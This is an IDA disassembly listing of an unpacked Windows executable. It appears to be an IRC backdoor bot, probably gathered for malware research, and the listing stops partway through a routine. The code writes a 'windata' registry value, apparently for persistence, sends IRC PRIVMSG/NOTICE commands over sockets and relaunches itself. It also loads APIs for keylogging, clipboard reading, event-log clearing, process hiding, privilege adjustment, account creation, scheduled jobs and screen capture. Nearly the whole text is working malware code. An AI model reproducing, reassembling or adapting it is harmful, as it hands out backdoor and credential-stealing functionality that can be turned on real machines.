;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 69688B90902B3D8A5A669817D2040FEB
; File Name : u:\work\69688b90902b3d8a5a669817d2040feb_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 0002A000 ( 172032.)
; Section size in file : 0002A000 ( 172032.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
seg000 segment para public 'DATA' use32
assume cs:seg000
;org 401000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_40A263+342p
; sub_41AEDD+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
xor esi, esi
mov ebx, offset aWindata ; "windata"
loc_401010: ; CODE XREF: sub_401000+6Aj
push edi
lea eax, [ebp+var_4]
push eax
push edi
push 0F003Fh
push edi
push edi
push edi
push ds:off_43C054[esi]
push ds:dword_43C050[esi]
call ds:dword_444150 ; RegCreateKeyExA
cmp [ebp+arg_0], edi
jz short loc_401051
push [ebp+arg_0]
call sub_41E1C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push edi
push ebx
push [ebp+var_4]
call ds:dword_4440E4 ; RegSetValueExA
jmp short loc_40105B
; ---------------------------------------------------------------------------
loc_401051: ; CODE XREF: sub_401000+33j
push ebx
push [ebp+var_4]
call ds:dword_444144 ; RegDeleteValueA
loc_40105B: ; CODE XREF: sub_401000+4Fj
push [ebp+var_4]
call ds:dword_4441E8 ; RegCloseKey
add esi, 8
cmp esi, 18h
jb short loc_401010
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; ---------------------------------------------------------------------------
db 8Bh, 4Ch, 24h
dd 748B5604h, 0C8830C24h, 74F685FFh, 8AD2331Ah, 81D03311h
dd 0FFE2h, 8E8C100h, 30950433h, 410042B2h, 0F7E6754Eh
dd 53C35ED0h, 0DB335756h, 0D529E853h, 4C70001h, 42B63024h
dd 2474FF00h, 0E8F08B14h, 1D492h, 0FF85F88Bh, 26755959h
dd 43EBC033h, 0E8565343h, 1D2F2h, 0F685F08Bh, 0EC745959h
dd 8D016A57h, 6AFF1E44h, 0F2E85001h, 830001D1h, 47F610C4h
dd 0D874100Ch, 0E856534Bh, 0FFFFFF79h, 0E8D88B56h, 1D1A1h
dd 0D145E857h, 0C4830001h, 5FC38B10h
db 5Eh, 5Bh, 0C3h
; ---------------------------------------------------------------------------
loc_40110F: ; DATA XREF: sub_40A263+14o
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_4444F4
call ds:dword_444218 ; closesocket
call sub_40AFF6
call ds:dword_444224 ; WSACleanup
call ds:dword_444224 ; WSACleanup
mov ebx, ds:dword_42B014
push 64h
call ebx ; Sleep
push 10h
xor edi, edi
lea eax, [ebp-10h]
push edi
push eax
call sub_41E5F0
push 44h
pop esi
push esi
lea eax, [ebp-54h]
push edi
push eax
call sub_41E5F0
add esp, 18h
mov [ebp-54h], esi
mov esi, 104h
push esi
lea eax, [ebp-158h]
push eax
mov dword ptr [ebp-48h], offset byte_42B633
mov dword ptr [ebp-28h], 1
mov [ebp-24h], di
call ds:dword_42B010 ; GetSystemDirectoryA
push esi
lea eax, [ebp-25Ch]
push eax
push edi
call ds:dword_42B00C ; GetModuleFileNameA
lea eax, [ebp-10h]
push eax
lea eax, [ebp-54h]
push eax
lea eax, [ebp-158h]
push eax
push edi
push 28h
push 1
push edi
push edi
lea eax, [ebp-25Ch]
push eax
push edi
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_4011D4
push 64h
call ebx ; Sleep
push dword ptr [ebp-10h]
mov esi, ds:dword_42B004
call esi ; CloseHandle
push dword ptr [ebp-0Ch]
call esi ; CloseHandle
loc_4011D4: ; CODE XREF: seg000:004011BEj
mov eax, [ebp+10h]
mov dword ptr [eax+0B0h], offset dword_444060
mov eax, [esp]
mov large fs:0, eax
add esp, 8
push edi
call ds:dword_42B000 ; ExitProcess
int 3 ; Trap to Debugger
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4011F5 proc near ; CODE XREF: sub_402472+3Fp
; sub_40274D+1A9p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
lea eax, [ebp+var_200]
push 200h
push eax
call sub_41E650
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4441A0 ; send
leave
retn
sub_4011F5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40123B proc near ; CODE XREF: sub_401F92+40p
; sub_401F92+74p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_401256
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_401256: ; CODE XREF: sub_40123B+14j
push edi
call sub_41E1C0
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_41E1C0
push [ebp+arg_8]
sub esi, eax
push offset aS ; "%s"
lea eax, [ebp+var_400]
push esi
push eax
call sub_41E6FE
lea eax, [ebp+var_400]
push eax
push [ebp+arg_4]
lea eax, [ebp+var_200]
push edi
push offset aSSS ; "%s %s :%s\r\n"
push eax
call sub_41E6A6
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_41E1C0
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call ds:dword_4441A0 ; send
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_4012D4
push 7D0h
call ds:dword_42B014 ; Sleep
locret_4012D4: ; CODE XREF: sub_40123B+8Cj
leave
retn
sub_40123B endp
; =============== S U B R O U T I N E =======================================
sub_4012D6 proc near ; CODE XREF: sub_40A263+4Bp
push ebx
push ebp
mov ebp, ds:dword_42B024
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_42B020
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_4013F6
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_4440D4, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_4440F0, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_444154, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_4440A4, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_444118, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_4440FC, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_4441A8, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_44407C, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_444124, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_44414C, eax
call esi ; GetProcAddress
cmp ds:dword_4440D4, ebx
mov ds:dword_4441B4, eax
jz short loc_4013D4
cmp ds:dword_4440F0, ebx
jz short loc_4013D4
cmp ds:dword_444154, ebx
jz short loc_4013D4
cmp ds:dword_4440A4, ebx
jz short loc_4013D4
cmp ds:dword_4440FC, ebx
jz short loc_4013D4
cmp ds:dword_4441A8, ebx
jz short loc_4013D4
cmp ds:dword_44407C, ebx
jz short loc_4013D4
cmp ds:dword_444124, ebx
jz short loc_4013D4
cmp ds:dword_44414C, ebx
jz short loc_4013D4
cmp eax, ebx
jnz short loc_4013DE
loc_4013D4: ; CODE XREF: sub_4012D6+B8j
; sub_4012D6+C0j ...
mov ds:dword_444264, 1
loc_4013DE: ; CODE XREF: sub_4012D6+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov ds:dword_444208, eax
jz short loc_40140B
push 1
push ebx
call eax
jmp short loc_40140B
; ---------------------------------------------------------------------------
loc_4013F6: ; CODE XREF: sub_4012D6+1Dj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444268, eax
mov ds:dword_444264, 1
loc_40140B: ; CODE XREF: sub_4012D6+117j
; sub_4012D6+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_42B018 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401520
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_4441CC, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_444160, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_444084, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_4440F8, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_44409C, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_44423C, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_444080, eax
call esi ; GetProcAddress
cmp ds:dword_4441CC, ebx
mov ds:dword_4441A4, eax
jz short loc_4014C4
loc_401490: ; DATA XREF: seg002:off_43F1F8o
cmp ds:dword_444160, ebx
jz short loc_4014C4
cmp ds:dword_444084, ebx
jz short loc_4014C4
cmp ds:dword_4440F8, ebx
jz short loc_4014C4
cmp ds:dword_44409C, ebx
jz short loc_4014C4
cmp ds:dword_44423C, ebx
jz short loc_4014C4
cmp ds:dword_444080, ebx
jz short loc_4014C4
cmp eax, ebx
jnz short loc_4014CE
loc_4014C4: ; CODE XREF: sub_4012D6+1B8j
; sub_4012D6+1C0j ...
mov ds:dword_44426C, 1
loc_4014CE: ; CODE XREF: sub_4012D6+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_4440A0, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_44422C, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_4440B0, eax
call esi ; GetProcAddress
cmp ds:dword_4440A0, ebx
mov ds:dword_4440C0, eax
jz short loc_40152B
cmp ds:dword_44422C, ebx
jz short loc_40152B
cmp ds:dword_4440B0, ebx
jz short loc_40152B
cmp eax, ebx
jnz short loc_401535
jmp short loc_40152B
; ---------------------------------------------------------------------------
loc_401520: ; CODE XREF: sub_4012D6+144j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444270, eax
loc_40152B: ; CODE XREF: sub_4012D6+232j
; sub_4012D6+23Aj ...
mov ds:dword_44426C, 1
loc_401535: ; CODE XREF: sub_4012D6+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_4016EE
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_444238, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_444150, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_4440E4, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_4440B8, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_444144, eax
call esi ; GetProcAddress
push offset aOpeneventloga ; "OpenEventLogA"
push edi
mov ds:dword_4441E8, eax
call esi ; GetProcAddress
push offset aCleareventloga ; "ClearEventLogA"
push edi
mov ds:dword_444248, eax
call esi ; GetProcAddress
cmp ds:dword_444238, ebx
mov ds:dword_44411C, eax
jz short loc_4015DE
cmp ds:dword_444150, ebx
jz short loc_4015DE
cmp ds:dword_4440E4, ebx
jz short loc_4015DE
cmp ds:dword_4440B8, ebx
jz short loc_4015DE
cmp ds:dword_444144, ebx
jz short loc_4015DE
cmp ds:dword_4441E8, ebx
jnz short loc_4015E8
loc_4015DE: ; CODE XREF: sub_4012D6+2DEj
; sub_4012D6+2E6j ...
mov ds:dword_444274, 1
loc_4015E8: ; CODE XREF: sub_4012D6+306j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_444244, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_444228, eax
call esi ; GetProcAddress
cmp ds:dword_444244, ebx
mov ds:dword_444170, eax
jz short loc_401623
cmp ds:dword_444228, ebx
jz short loc_401623
cmp eax, ebx
jnz short loc_40162D
loc_401623: ; CODE XREF: sub_4012D6+33Fj
; sub_4012D6+347j
mov ds:dword_444274, 1
loc_40162D: ; CODE XREF: sub_4012D6+34Bj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_4441C8, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_44424C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_4441D0, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_4441EC, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_4440F4, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_444134, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_4441D8, eax
call esi ; GetProcAddress
cmp ds:dword_4441C8, ebx
mov ds:dword_444204, eax
jz short loc_4016D1
cmp ds:dword_44424C, ebx
jz short loc_4016D1
cmp ds:dword_4441D0, ebx
jz short loc_4016D1
cmp ds:dword_4441EC, ebx
jz short loc_4016D1
cmp ds:dword_4440F4, ebx
jz short loc_4016D1
cmp ds:dword_444134, ebx
jz short loc_4016D1
cmp ds:dword_4441D8, ebx
jz short loc_4016D1
cmp eax, ebx
jnz short loc_4016DB
loc_4016D1: ; CODE XREF: sub_4012D6+3C5j
; sub_4012D6+3CDj ...
mov ds:dword_444274, 1
loc_4016DB: ; CODE XREF: sub_4012D6+3F9j
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov ds:dword_444198, eax
jnz short loc_401703
jmp short loc_4016F9
; ---------------------------------------------------------------------------
loc_4016EE: ; CODE XREF: sub_4012D6+26Aj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444278, eax
loc_4016F9: ; CODE XREF: sub_4012D6+416j
mov ds:dword_444274, 1
loc_401703: ; CODE XREF: sub_4012D6+414j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_4017CF
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_444250, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_44421C, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_444180, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_444178, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_4441C0, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_44408C, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_444190, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_444130, eax
call esi ; GetProcAddress
cmp ds:dword_444250, ebx
mov ds:dword_444184, eax
jz short loc_4017DA
cmp ds:dword_44421C, ebx
jz short loc_4017DA
cmp ds:dword_444180, ebx
jz short loc_4017DA
cmp ds:dword_444178, ebx
jz short loc_4017DA
cmp ds:dword_4441C0, ebx
jz short loc_4017DA
cmp ds:dword_44408C, ebx
jz short loc_4017DA
cmp ds:dword_444190, ebx
jz short loc_4017DA
cmp ds:dword_444130, ebx
jz short loc_4017DA
cmp eax, ebx
jnz short loc_4017E4
jmp short loc_4017DA
; ---------------------------------------------------------------------------
loc_4017CF: ; CODE XREF: sub_4012D6+438j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444280, eax
loc_4017DA: ; CODE XREF: sub_4012D6+4B9j
; sub_4012D6+4C1j ...
mov ds:dword_44427C, 1
loc_4017E4: ; CODE XREF: sub_4012D6+4F5j
mov ebp, ds:dword_42B018
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401AA0
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_444110, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_444074, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_444194, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_44415C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_4441E0, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_4441C4, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov ds:dword_444224, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_444100, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov ds:dword_444094, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_4440AC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_444188, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov ds:dword_44417C, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov ds:dword_444260, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_444234, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_444200, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov ds:dword_4441DC, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov ds:dword_4441A0, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov ds:dword_4440CC, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_444064, eax
call esi ; GetProcAddress
mov ds:dword_444088, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov ds:dword_4441E4, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov ds:dword_4441B0, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov ds:dword_444230, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_4440BC, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_444120, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_444068, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_444220, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov ds:dword_444168, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov ds:dword_4441FC, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov ds:dword_444148, eax
call esi ; GetProcAddress
cmp ds:dword_444110, ebx
mov ds:dword_444218, eax
jz loc_401AAB
cmp ds:dword_444074, ebx
jz loc_401AAB
cmp ds:dword_444194, ebx
jz loc_401AAB
cmp ds:dword_4441E0, ebx
jz loc_401AAB
cmp ds:dword_4441C4, ebx
jz loc_401AAB
cmp ds:dword_444224, ebx
jz loc_401AAB
cmp ds:dword_444100, ebx
jz loc_401AAB
cmp ds:dword_444094, ebx
jz loc_401AAB
cmp ds:dword_4440AC, ebx
jz loc_401AAB
cmp ds:dword_444188, ebx
jz loc_401AAB
cmp ds:dword_44417C, ebx
jz loc_401AAB
cmp ds:dword_444260, ebx
jz loc_401AAB
cmp ds:dword_444234, ebx
jz loc_401AAB
cmp ds:dword_444200, ebx
jz short loc_401AAB
cmp ds:dword_4441A0, ebx
jz short loc_401AAB
cmp ds:dword_4440CC, ebx
jz short loc_401AAB
cmp ds:dword_444064, ebx
jz short loc_401AAB
cmp ds:dword_444088, ebx
jz short loc_401AAB
cmp ds:dword_4441E4, ebx
jz short loc_401AAB
cmp ds:dword_4441B0, ebx
jz short loc_401AAB
cmp ds:dword_444230, ebx
jz short loc_401AAB
cmp ds:dword_4440BC, ebx
jz short loc_401AAB
cmp ds:dword_444120, ebx
jz short loc_401AAB
cmp ds:dword_444068, ebx
jz short loc_401AAB
cmp ds:dword_444220, ebx
jz short loc_401AAB
cmp ds:dword_444168, ebx
jz short loc_401AAB
cmp ds:dword_4441FC, ebx
jz short loc_401AAB
cmp eax, ebx
jnz short loc_401AB5
jmp short loc_401AAB
; ---------------------------------------------------------------------------
loc_401AA0: ; CODE XREF: sub_4012D6+51Fj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444288, eax
loc_401AAB: ; CODE XREF: sub_4012D6+6BEj
; sub_4012D6+6CAj ...
mov ds:dword_444284, 1
loc_401AB5: ; CODE XREF: sub_4012D6+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401BBA
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov ds:dword_444078, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov ds:dword_44425C, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov ds:dword_44412C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov ds:dword_444258, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov ds:dword_44413C, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov ds:dword_444098, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov ds:dword_444108, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov ds:dword_444070, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov ds:dword_4441B8, eax
call esi ; GetProcAddress
cmp ds:dword_444078, ebx
mov ecx, ds:dword_444098
mov ds:dword_444164, eax
jz short loc_401B96
cmp ds:dword_44425C, ebx
jz short loc_401B96
cmp ds:dword_44412C, ebx
jz short loc_401B96
cmp ds:dword_444258, ebx
jz short loc_401B96
cmp ds:dword_44413C, ebx
jz short loc_401B96
cmp ecx, ebx
jz short loc_401B96
cmp ds:dword_444108, ebx
jz short loc_401B96
cmp ds:dword_444070, ebx
jz short loc_401B96
cmp ds:dword_4441B8, ebx
jz short loc_401B96
cmp eax, ebx
jnz short loc_401BA0
loc_401B96: ; CODE XREF: sub_4012D6+87Ej
; sub_4012D6+886j ...
mov ds:dword_44428C, 1
loc_401BA0: ; CODE XREF: sub_4012D6+8BEj
cmp ecx, ebx
jz short loc_401BD5
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; InternetOpenA
cmp eax, ebx
mov ds:dword_444254, eax
jnz short loc_401BD5
jmp short loc_401BCF
; ---------------------------------------------------------------------------
loc_401BBA: ; CODE XREF: sub_4012D6+7EAj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444290, eax
mov ds:dword_44428C, 1
loc_401BCF: ; CODE XREF: sub_4012D6+8E2j
mov ds:dword_444254, ebx
loc_401BD5: ; CODE XREF: sub_4012D6+8CCj
; sub_4012D6+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_401C1F
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov ds:dword_444158, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov ds:dword_44418C, eax
call esi ; GetProcAddress
cmp ds:dword_444158, ebx
mov ds:dword_4441F4, eax
jz short loc_401C2A
cmp ds:dword_44418C, ebx
jz short loc_401C2A
cmp eax, ebx
jnz short loc_401C34
jmp short loc_401C2A
; ---------------------------------------------------------------------------
loc_401C1F: ; CODE XREF: sub_4012D6+90Aj
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_444298, eax
loc_401C2A: ; CODE XREF: sub_4012D6+939j
; sub_4012D6+941j ...
mov ds:dword_444294, 1
loc_401C34: ; CODE XREF: sub_4012D6+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_401D3B
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov ds:dword_4440E8, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov ds:dword_444104, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov ds:dword_44420C, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov ds:dword_4440A8, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov ds:dword_444140, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov ds:dword_44406C, eax
call esi ; GetProcAddress
push offset aNetuserdel ; "NetUserDel"
push edi
mov ds:dword_4440C8, eax
call esi ; GetProcAddress
push offset aNetuserenum ; "NetUserEnum"
push edi
mov ds:dword_4441D4, eax
call esi ; GetProcAddress
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov ds:dword_4440E0, eax
call esi ; GetProcAddress
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov ds:dword_4440EC, eax
call esi ; GetProcAddress
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov ds:dword_444114, eax
call esi ; GetProcAddress
cmp ds:dword_4440E8, ebx
mov ds:dword_4440DC, eax
jz short loc_401D46
cmp ds:dword_444104, ebx
jz short loc_401D46
cmp ds:dword_44420C, ebx
jz short loc_401D46
cmp ds:dword_4440A8, ebx
jz short loc_401D46
cmp ds:dword_444140, ebx
jz short loc_401D46
cmp ds:dword_44406C, ebx
jz short loc_401D46
cmp ds:dword_4440C8, ebx
jz short loc_401D46
cmp ds:dword_4441D4, ebx
jz short loc_401D46
cmp ds:dword_4440E0, ebx
jz short loc_401D46
cmp ds:dword_4440EC, ebx
jz short loc_401D46
cmp ds:dword_444114, ebx
jnz short loc_401D50
jmp short loc_401D46
; ---------------------------------------------------------------------------
loc_401D3B: ; CODE XREF: sub_4012D6+969j
call ds:dword_42B01C ; RtlGetLastWin32Error
mov ds:dword_4442A0, eax
loc_401D46: ; CODE XREF: sub_4012D6+A11j
; sub_4012D6+A19j ...
mov ds:dword_44429C, 1
loc_401D50: ; CODE XREF: sub_4012D6+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
